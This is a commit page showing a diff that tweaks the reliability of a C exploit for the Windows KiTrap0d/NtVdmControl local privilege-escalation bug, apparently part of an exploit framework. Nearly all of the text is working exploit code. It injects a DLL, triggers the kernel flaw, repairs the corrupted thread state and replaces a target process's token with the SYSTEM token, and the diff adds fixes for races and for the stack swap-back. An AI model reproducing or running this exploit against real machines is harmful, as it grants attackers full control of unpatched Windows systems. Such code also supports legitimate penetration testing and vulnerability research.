Tweaks for reliability

git-svn-id: file:///home/svn/framework3/trunk@8226 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-01-25 16:55:53 +00:00
parent 37c1441c6c
commit 9f37906ba9
2 changed files with 84 additions and 60 deletions

View File

@ -115,11 +115,11 @@ int main(int argc, char **argv)
HANDLE VdmHandle; HANDLE VdmHandle;
HANDLE RemoteThread; HANDLE RemoteThread;
DWORD ShellPid = 0; DWORD ShellPid = 0;
DWORD KillPid = 0; DWORD KillPid = 0;
DWORD ThreadCode; DWORD ThreadCode;
DWORD KernelBase; DWORD KernelBase;
TCHAR VDMPath[_MAX_PATH]; TCHAR VDMPath[_MAX_PATH];
TCHAR CMDPath[_MAX_PATH]; TCHAR CMDPath[_MAX_PATH];
CHAR Buf[32]; CHAR Buf[32];
DWORD Offset; DWORD Offset;
@ -148,23 +148,8 @@ int main(int argc, char **argv)
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure"); LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
goto finished; goto finished;
} }
} else {
// Spawn the process as a placeholder, no idea why this is needed yet (BSOD w/o).
LogMessage(L_INFO, "Spawning a shell to make the process happy (ignore this)");
if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) {
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
goto finished;
}
KillPid = ShellPid;
ShellPid = atoi(argv[1]);
} }
// Dance around a consistent BSOD if we don't wait
LogMessage(L_INFO, "Waiting two seconds while the child process initializes...");
Sleep(2000);
// Scan kernel image for the required code sequence, and find the base address. // Scan kernel image for the required code sequence, and find the base address.
if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) { if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
LogMessage(L_ERROR, "ScanForCodeSignature() returned failure"); LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
@ -192,11 +177,13 @@ int main(int argc, char **argv)
goto finished; goto finished;
} }
// Wait for the thread to complete // Wait for the thread to complete
LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread); LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);
WaitForSingleObject(RemoteThread, INFINITE); WaitForSingleObject(RemoteThread, INFINITE);
// I pass some information back via the exit code to indicate what happened. // I pass some information back via the exit code to indicate what happened.
GetExitCodeThread(RemoteThread, &ThreadCode); GetExitCodeThread(RemoteThread, &ThreadCode);
@ -235,7 +222,7 @@ int main(int argc, char **argv)
case 'w00t': case 'w00t':
// This means the exploit payload was executed at ring0 and succeeded. // This means the exploit payload was executed at ring0 and succeeded.
LogMessage(L_INFO, "The exploit thread reports exploitation was successful"); LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
if(! KillPid) if(! KillPid)
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier"); LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
break; break;
default: default:
@ -359,6 +346,7 @@ static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE Re
RemotePage, RemotePage,
0, 0,
NULL); NULL);
CloseHandle(ProcessHandle);
return *RemoteThread != NULL; return *RemoteThread != NULL;
} }

View File

@ -1,4 +1,4 @@
// //
// -------------------------------------------------- // --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit // Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org --- // -------------------------------------------- taviso@sdf.lonestar.org ---
@ -12,6 +12,11 @@
// This file contains the exploit payload and VDM Subsystem control routines. // This file contains the exploit payload and VDM Subsystem control routines.
// //
// This file has been modified from the original:
// * The CurrentThread is now much more precise thanks to research/code from Pusscat
// * The Sleep(1000) call before triggering the bug avoids a rare race condition in thread initialization
// * The ZwTerminateProcess path has been updated to flip back to the kernel stack first
#ifndef WIN32_NO_STATUS #ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h # define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif #endif
@ -63,6 +68,8 @@ static HMODULE KernelHandle;
# define PAGE_SIZE 0x1000 # define PAGE_SIZE 0x1000
#endif #endif
// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h // http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
enum { VdmStartExecution = 0, VdmInitialize = 3 }; enum { VdmStartExecution = 0, VdmInitialize = 3 };
@ -70,20 +77,30 @@ VOID FirstStage();
BOOL InitializeVdmSubsystem(); BOOL InitializeVdmSubsystem();
PVOID KernelGetProcByName(PSTR); PVOID KernelGetProcByName(PSTR);
BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL); BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
BOOL CheckAndReplace(PDWORD, DWORD, DWORD, DWORD);
DWORD ethreadOffsets[] = { 0x6, // WinXP SP3, VistaSP2
0xA // Windows 7, VistaSP1
};
// This routine is where I land after successfully triggering the vulnerability. // This routine is where I land after successfully triggering the vulnerability.
VOID FirstStage() VOID FirstStage()
{ {
FARPROC DbgPrint; FARPROC DbgPrint;
FARPROC PsGetCurrentThread; FARPROC PsGetCurrentThread;
FARPROC PsGetCurrentProcessId;
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit; FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
FARPROC PsLookupProcessByProcessId; FARPROC PsLookupProcessByProcessId;
FARPROC PsReferencePrimaryToken; FARPROC PsReferencePrimaryToken;
FARPROC ZwTerminateProcess; FARPROC ZwTerminateProcess;
PVOID CurrentProcess;
PVOID CurrentThread; PVOID CurrentThread;
PVOID TargetProcess, *PsInitialSystemProcess; PVOID TargetProcess, *PsInitialSystemProcess;
DWORD StackBase, StackLimit; DWORD StackBase, StackLimit, NewStack;
DWORD i; DWORD i;
LIST_ENTRY *ThreadListHead;
HANDLE pid;
DWORD pret;
// Keep interrupts off until I've repaired my KTHREAD. // Keep interrupts off until I've repaired my KTHREAD.
__asm cli __asm cli
@ -91,6 +108,7 @@ VOID FirstStage()
// Resolve some routines I need from the kernel export directory // Resolve some routines I need from the kernel export directory
DbgPrint = KernelGetProcByName("DbgPrint"); DbgPrint = KernelGetProcByName("DbgPrint");
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread"); PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
PsGetCurrentProcessId = KernelGetProcByName("PsGetCurrentProcessId");
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase"); PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit"); PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess"); PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
@ -102,34 +120,30 @@ VOID FirstStage()
StackLimit = (DWORD) PsGetCurrentThreadStackLimit(); StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
StackBase = (DWORD) PsGetCurrentThreadStackBase(); StackBase = (DWORD) PsGetCurrentThreadStackBase();
DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p", //DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n",
CurrentThread, // CurrentThread,
StackBase, // StackBase,
StackLimit); // StackLimit);
NewStack = StackBase - ((StackBase - StackLimit) / 2);
// First I need to repair my CurrentThread, find all references to my fake kernel // First I need to repair my CurrentThread, find all references to my fake kernel
// stack and repair them. Note that by "repair" I mean randomly point them // stack and repair them. Note that by "repair" I mean randomly point them
// somewhere inside the real stack. // somewhere inside the real stack.
DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
&KernelStackPointer[0],
&KernelStackPointer[KernelStackSize - 1],
CurrentThread);
// For every stack location, try to find all references to it in my // Walk only the offsets that could possibly be bad based on testing, and see if they need
// CurrentThread. // to be swapped out. O(n^2) -> O(c) wins the race!
for (i = 0; i < KernelStackSize; i++) { for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) {
// The size of this structure varies between kernels, whats the maximum CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]),
// size likely to be? (DWORD) &KernelStackPointer[0],
CONST DWORD MaxExpectedEthreadSize = 0x200; (DWORD) &KernelStackPointer[KernelStackSize - 1],
(DWORD) NewStack);
// Find and repair all references to this location }
while (FindAndReplaceMember((PDWORD) CurrentThread,
(DWORD) &KernelStackPointer[i], // DbgPrint("CurrentProcess: 0x%.8x (newstack: 0x%.8x\n", CurrentProcess, NewStack);
(DWORD) StackBase - ((StackBase - StackLimit) / 2), // ThreadListHead = (LIST_ENTRY *) ((unsigned char *)CurrentProcess) + 0x190;
MaxExpectedEthreadSize,
FALSE)) //DbgPrint("ThreadListHead[1]: FLink:0x%.8x, BLink:0x%.8x\n", ThreadListHead->Flink, ThreadListHead->Blink);
;
}
// Find the EPROCESS structure for the process I want to escalate // Find the EPROCESS structure for the process I want to escalate
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
@ -139,15 +153,15 @@ VOID FirstStage()
// What's the maximum size the EPROCESS structure is ever likely to be? // What's the maximum size the EPROCESS structure is ever likely to be?
CONST DWORD MaxExpectedEprocessSize = 0x200; CONST DWORD MaxExpectedEprocessSize = 0x200;
DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess); // DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess); //DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
// Find the Token object for my target process, and the SYSTEM process. // Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken); //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken); //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
// Find the token in the target process, and replace with the system token. // Find the token in the target process, and replace with the system token.
FindAndReplaceMember((PDWORD) TargetProcess, FindAndReplaceMember((PDWORD) TargetProcess,
@ -155,21 +169,28 @@ VOID FirstStage()
(DWORD) SystemToken, (DWORD) SystemToken,
MaxExpectedEprocessSize, MaxExpectedEprocessSize,
TRUE); TRUE);
// Success
// Success, try to terminate the current process. pret = 'w00t';
ZwTerminateProcess(GetCurrentProcess(), 'w00t');
} else { } else {
// Maybe the user closed the window? // Maybe the user closed the window?
DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);
// Report this failure // Report this failure
ZwTerminateProcess(GetCurrentProcess(), 'LPID'); pret = 'LPID';
} }
// Oops, Something went wrong, restore interrupts and spin here. __asm {
__asm sti mov eax, -1 // ZwCurrentProcess macro returns -1
mov ebx, NewStack
for (;;) __asm pause mov ecx, pret
mov edi, ZwTerminateProcess
mov esp, ebx // Swap the stack back to kernel-land
mov ebp, ebx // Swap the frame pointer back to kernel-land
sub esp, 256
push ecx // Push the return code
push eax // Push the process handle
sti // Restore interrupts finally
call edi // Call ZwTerminateProcess
__emit 0xCC; // Hope we never end up here
}
} }
// Search the specified data structure for a member with CurrentValue. // Search the specified data structure for a member with CurrentValue.
@ -192,6 +213,8 @@ BOOL FindAndReplaceMember(PDWORD Structure,
for (i = 0; i < MaxSize; i++) { for (i = 0; i < MaxSize; i++) {
if ((Structure[i] & Mask) == CurrentValue) { if ((Structure[i] & Mask) == CurrentValue) {
// And finally, replace it with NewValue. // And finally, replace it with NewValue.
if (ObjectRefs == FALSE)
__asm int 3
Structure[i] = NewValue; Structure[i] = NewValue;
return TRUE; return TRUE;
} }
@ -201,6 +224,15 @@ BOOL FindAndReplaceMember(PDWORD Structure,
return FALSE; return FALSE;
} }
BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value) {
if (*checkMe >= rangeStart && *checkMe <= rangeEnd) {
*checkMe = value;
return TRUE;
} else {
return FALSE;
}
}
// Find an exported kernel symbol by name. // Find an exported kernel symbol by name.
PVOID KernelGetProcByName(PSTR SymbolName) PVOID KernelGetProcByName(PSTR SymbolName)
{ {
@ -216,7 +248,7 @@ PVOID KernelGetProcByName(PSTR SymbolName)
ImageBase = (PUCHAR) KernelHandle; ImageBase = (PUCHAR) KernelHandle;
DosHeader = (PIMAGE_DOS_HEADER) ImageBase; DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew); PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
+ PeHeader->OptionalHeader + PeHeader->OptionalHeader
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] . DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
. VirtualAddress); . VirtualAddress);
@ -263,7 +295,7 @@ BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
FillMemory(&KernelStack, sizeof KernelStack, 'K'); FillMemory(&KernelStack, sizeof KernelStack, 'K');
// Parent passes parameters via environment variables. // Parent passes parameters via environment variables.
// //
// - VDM_TARGET_PID // - VDM_TARGET_PID
// Pid of the process to transplant a SYSTEM token onto. // Pid of the process to transplant a SYSTEM token onto.
// - VDM_TARGET_OFF // - VDM_TARGET_OFF
@ -298,6 +330,10 @@ BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK; VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
*NtCurrentTeb()->Reserved4 = &VdmTib; *NtCurrentTeb()->Reserved4 = &VdmTib;
// Allow thread initialization to complete. Without is, there is a chance
// of a race in KiThreadInitialize's call to SwapContext
Sleep(1000);
// Trigger the vulnerable code via NtVdmControl(). // Trigger the vulnerable code via NtVdmControl().
while (VdmTib.Size++ < MaximumExpectedVdmTibSize) while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
NtVdmControl(VdmStartExecution, NULL); NtVdmControl(VdmStartExecution, NULL);